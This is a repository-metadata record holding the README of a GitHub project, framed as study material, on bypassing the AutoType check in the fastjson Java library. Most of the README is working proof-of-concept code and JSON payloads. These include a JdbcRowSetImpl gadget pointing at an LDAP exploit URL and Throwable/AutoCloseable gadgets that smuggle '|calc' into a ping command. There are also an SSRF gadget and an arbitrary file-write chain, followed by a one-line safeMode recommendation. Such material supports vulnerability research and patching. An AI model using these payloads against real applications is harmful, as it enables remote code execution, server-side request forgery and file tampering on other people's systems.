{"id":21616677,"url":"https://github.com/al1ex/fastjsonautotypebypass","last_synced_at":"2025-07-11T10:05:43.934Z","repository":{"id":108708372,"uuid":"357852764","full_name":"Al1ex/FastJsonAutoTypeBypass","owner":"Al1ex","description":"FastJsonAutoTypeBypass","archived":false,"fork":false,"pushed_at":"2021-04-14T09:56:24.000Z","size":20,"stargazers_count":15,"open_issues_count":0,"forks_count":2,"subscribers_count":1,"default_branch":"main","last_synced_at":"2025-04-11T08:28:13.846Z","etag":null,"topics":["fastjson","fastjsonautotypebypass"],"latest_commit_sha":null,"homepage":"","language":"Java","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/Al1ex.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null}},"created_at":"2021-04-14T09:43:42.000Z","updated_at":"2024-08-12T20:12:08.000Z","dependencies_parsed_at":null,"dependency_job_id":"fc9a4920-d89d-4fb7-9fbf-4c1342c57629","html_url":"https://github.com/Al1ex/FastJsonAutoTypeBypass","commit_stats":null,"previous_names":[],"tags_count":0,"template":false,"template_full_name":null,"purl":"pkg:github/Al1ex/FastJsonAutoTypeBypass","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Al1ex%2FFastJsonAutoTypeBypass","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Al1ex%2FFastJsonAutoTypeBypass/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Al1ex%2FFastJsonAutoTypeBypass/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Al1ex%2FFastJsonAutoTypeBypass/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/Al1ex","download_url":"https://codeload.github.com/Al1ex/FastJsonAutoTypeBypass/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Al1ex%2FFastJsonAutoTypeBypass/sbom","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":264780813,"owners_count":23662725,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["fastjson","fastjsonautotypebypass"],"created_at":"2024-11-24T22:15:01.394Z","updated_at":"2025-07-11T10:05:43.929Z","avatar_url":"https://github.com/Al1ex.png","language":"Java","funding_links":[],"categories":[],"sub_categories":[],"readme":"## What's this\r\n\r\nThis project is used for studying how to bypass fastJSON AutoType check.\r\n\r\n## Gadget Info\r\n\r\n**Mapping**\r\n\r\njust for fastjson 1.2.47:\r\n\r\n```\r\npackage com.FastJson1242;\r\n\r\nimport com.alibaba.fastjson.JSONObject;\r\n\r\npublic class Poc {\r\n    public static void main(String[] argv){\r\n        String payload =\"{\\n\" +\r\n                \"    \\\"a\\\": {\\n\" +\r\n                \"        \\\"@type\\\": \\\"java.lang.Class\\\", \\n\" +\r\n                \"        \\\"val\\\": \\\"com.sun.rowset.JdbcRowSetImpl\\\"\\n\" +\r\n                \"    }, \\n\" +\r\n                \"    \\\"b\\\": {\\n\" +\r\n                \"        \\\"@type\\\": \\\"com.sun.rowset.JdbcRowSetImpl\\\", \\n\" +\r\n                \"        \\\"dataSourceName\\\": \\\"ldap://localhost:1099/Exploit\\\", \\n\" +\r\n                \"        \\\"autoCommit\\\": true\\n\" +\r\n                \"    }\\n\" +\r\n                \"}\";\r\n        JSONObject.parseObject(payload);\r\n    }\r\n}\r\n```\r\n\r\n**ThrowableDeserializer**\r\n\r\n```\r\npackage org.heptagram.fastjson;\r\n\r\nimport java.io.IOException;\r\n\r\npublic class ViaThrowable extends Exception {\r\n    private String domain;\r\n\r\n    public ViaThrowable() {\r\n        super();\r\n    }\r\n\r\n    public String getDomain() {\r\n        return domain;\r\n    }\r\n\r\n    public void setDomain(String domain) {\r\n        this.domain = domain;\r\n    }\r\n\r\n    @Override\r\n    public String getMessage() {\r\n        try {\r\n            Runtime.getRuntime().exec(\"cmd /c ping \"+domain);\r\n        } catch (IOException e) {\r\n            return e.getMessage();\r\n        }\r\n        return super.getMessage();\r\n    }\r\n}\r\n```\r\n\r\nexploit:\r\n\r\n```\r\npackage org.heptagram.fastjson;\r\nimport com.alibaba.fastjson.JSONObject;\r\n\r\npublic class ThrowableMain {\r\n    public static void main(String[] args) {\r\n        String payload =\"{\\n\" +\r\n                \"  \\\"@type\\\":\\\"java.lang.Exception\\\",\\n\" +\r\n                \"  \\\"@type\\\": \\\"org.heptagram.fastjson.ViaThrowable\\\",\\n\" +\r\n                \"  \\\"domain\\\": \\\"qbknro.dnslog.cn|calc\\\"\\n\" +\r\n                \"}\";\r\n        JSONObject.parseObject(payload);\r\n    }\r\n}\r\n```\r\n\r\n**JavaBeanDeserializer**\r\n\r\n```\r\npackage org.heptagram.fastjson;\r\n\r\nimport java.io.IOException;\r\nimport java.io.Closeable;\r\n\r\npublic class ViaAutoCloseable  implements Closeable {\r\n    private String domain;\r\n\r\n    public ViaAutoCloseable() {\r\n    }\r\n\r\n    public ViaAutoCloseable(String domain) {\r\n        this.domain = domain;\r\n    }\r\n\r\n    public String getDomain() {\r\n        try {\r\n            Runtime.getRuntime().exec(new String[]{\"cmd\", \"/c\", \"ping \" + domain});\r\n        } catch (IOException e) {\r\n            e.printStackTrace();\r\n        }\r\n        return domain;\r\n    }\r\n\r\n    public void setDomain(String domain) {\r\n        this.domain = domain;\r\n    }\r\n\r\n    @Override\r\n    public void close() throws IOException {\r\n\r\n    }\r\n}\r\n```\r\n\r\nexploit:\r\n\r\n```\r\npackage org.heptagram.fastjson;\r\n\r\nimport com.alibaba.fastjson.JSONObject;\r\n\r\npublic class AutoCloseableMain {\r\n    public static void main(String[] args) {\r\n        String payload =\"{\\n\" +\r\n                \"  \\\"@type\\\":\\\"java.lang.AutoCloseable\\\",\\n\" +\r\n                \"  \\\"@type\\\": \\\"org.heptagram.fastjson.ViaAutoCloseable\\\",\\n\" +\r\n                \"  \\\"domain\\\": \\\" wme8bg.dnslog.cn| calc\\\"\\n\" +\r\n                \"}\";\r\n        JSONObject.parseObject(payload);\r\n    }\r\n}\r\n```\r\n\r\n**$ref use extends**\r\n\r\n```\r\npackage org.heptagram.fastjson;\r\n\r\nimport javax.activation.DataSource;\r\nimport javax.activation.URLDataSource;\r\nimport java.net.URL;\r\n\r\npublic class RefSSRF extends Exception {\r\n\r\n    public RefSSRF() {\r\n    }\r\n    private DataSource dataSource;\r\n\r\n    public DataSource getDataSource() {\r\n        return dataSource;\r\n    }\r\n    public void setDataSource(URL url) {\r\n        this.dataSource = new URLDataSource(url);\r\n    }\r\n}\r\n```\r\n\r\nexploit:\r\n\r\n```\r\npackage org.heptagram.fastjson;\r\n\r\nimport com.alibaba.fastjson.JSON;\r\n\r\npublic class RefSSRFMain {\r\n    public static void main(String[] args) {\r\n        String a =\"{\\n\" +\r\n                \"  \\\"@type\\\": \\\"java.lang.Exception\\\",\\n\" +\r\n                \"  \\\"@type\\\": \\\"org.heptagram.fastjson.RefSSRF\\\",\\n\" +\r\n                \"  \\\"dataSource\\\": {\\n\" +\r\n                \"    \\\"@type\\\": \\\"java.net.URL\\\",\\n\" +\r\n                \"    \\\"val\\\": \\\"http://127.0.0.1:4444/Exploit\\\"\\n\" +\r\n                \"  }\\n\" +\r\n                \"}\";\r\n        JSON.parseObject(a);\r\n    }\r\n}\r\n```\r\n\r\n**File operate**\r\n\r\n```\r\n$ echo -ne \"RMB122 is here\" | openssl zlib | base64 -w 0\r\neJwL8nUyNDJSyCxWyEgtSgUAHKUENw==\r\n\r\n$ echo -ne \"RMB122 is here\" | openssl zlib | wc -c\r\n22\r\n```\r\n\r\npoc:\r\n\r\n```\r\n{\r\n    '@type':\"java.lang.AutoCloseable\",\r\n    '@type':'sun.rmi.server.MarshalOutputStream',\r\n    'out':\r\n    {\r\n        '@type':'java.util.zip.InflaterOutputStream',\r\n        'out':\r\n        {\r\n           '@type':'java.io.FileOutputStream',\r\n           'file':'dst',\r\n           'append':false\r\n        },\r\n        'infl':\r\n        {\r\n            'input':\r\n            {\r\n                'array':'eJwL8nUyNDJSyCxWyEgtSgUAHKUENw==',\r\n                'limit':22\r\n            }\r\n        },\r\n        'bufLen':1048576\r\n    },\r\n    'protocolVersion':1\r\n}\r\n```\r\n\r\nFileWrite.java:\r\n\r\n```\r\npackage org.heptagram.fastjson;\r\n\r\nimport com.alibaba.fastjson.JSON;\r\nimport java.io.IOException;\r\n\r\npublic class FileWrite {\r\n    public static void main(String[] args) throws IOException {\r\n        String json = \"{\\n\" +\r\n                \"  '@type': \\\"java.lang.AutoCloseable\\\",\\n\" +\r\n                \"  '@type': 'sun.rmi.server.MarshalOutputStream',\\n\" +\r\n                \"  'out': {\\n\" +\r\n                \"    '@type': 'java.util.zip.InflaterOutputStream',\\n\" +\r\n                \"    'out': {\\n\" +\r\n                \"      '@type': 'java.io.FileOutputStream',\\n\" +\r\n                \"      'file': 'e:/filewrite.txt',\\n\" +\r\n                \"      'append': false\\n\" +\r\n                \"    },\\n\" +\r\n                \"    'infl': {\\n\" +\r\n                \"      'input': {\\n\" +\r\n                \"        'array': 'eJwL8nUyNDJSyCxWyEgtSgUAHKUENw==',\\n\" +\r\n                \"        'limit': 22\\n\" +\r\n                \"      }\\n\" +\r\n                \"    },\\n\" +\r\n                \"    'bufLen': 1048576\\n\" +\r\n                \"  },\\n\" +\r\n                \"  'protocolVersion': 1\\n\" +\r\n                \"}\";\r\n        JSON.parse(json);\r\n    }\r\n}\r\n```\r\n\r\n## Additional Info\r\n\r\nThis project is based on Y4er's [project](https://github.com/Y4er/fastjson-bypass-autotype-1.2.68).\r\n\r\nThe gadgets involved are all from the Internet, which is just a simple learning experience\r\n\r\n## Security Advice\r\n\r\nopen safeMode\r\n\r\n```\r\nParserConfig.getGlobalInstance().setSafeMode(true);\r\n```\r\n\r\n## Reference\r\n\r\nhttps://b1ue.cn/archives/348.html\r\n\r\nhttps://b1ue.cn/archives/382.html\r\n\r\nhttps://y4er.com/post/fastjson-bypass-autotype-1268/\r\n\r\n[https://www.kingkk.com/2020/06/%E6%B5%85%E8%B0%88%E4%B8%8BFastjson%E7%9A%84autotype%E7%BB%95%E8%BF%87/](https://www.kingkk.com/2020/06/浅谈下Fastjson的autotype绕过/)\r\n\r\nhttps://github.com/threedr3am/learnjavabug/blob/96f81b85bab45453d8c29465225b51f3900148f3/fastjson/src/main/java/com/threedr3am/bug/fastjson/file/FileWriteBypassAutoType1_2_68.java\r\n\r\n[https://rmb122.com/2020/06/12/fastjson-1-2-68-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E-gadgets-%E6%8C%96%E6%8E%98%E7%AC%94%E8%AE%B0/](https://rmb122.com/2020/06/12/fastjson-1-2-68-反序列化漏洞-gadgets-挖掘笔记/)\r\n\r\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fal1ex%2Ffastjsonautotypebypass","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fal1ex%2Ffastjsonautotypebypass","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fal1ex%2Ffastjsonautotypebypass/lists"}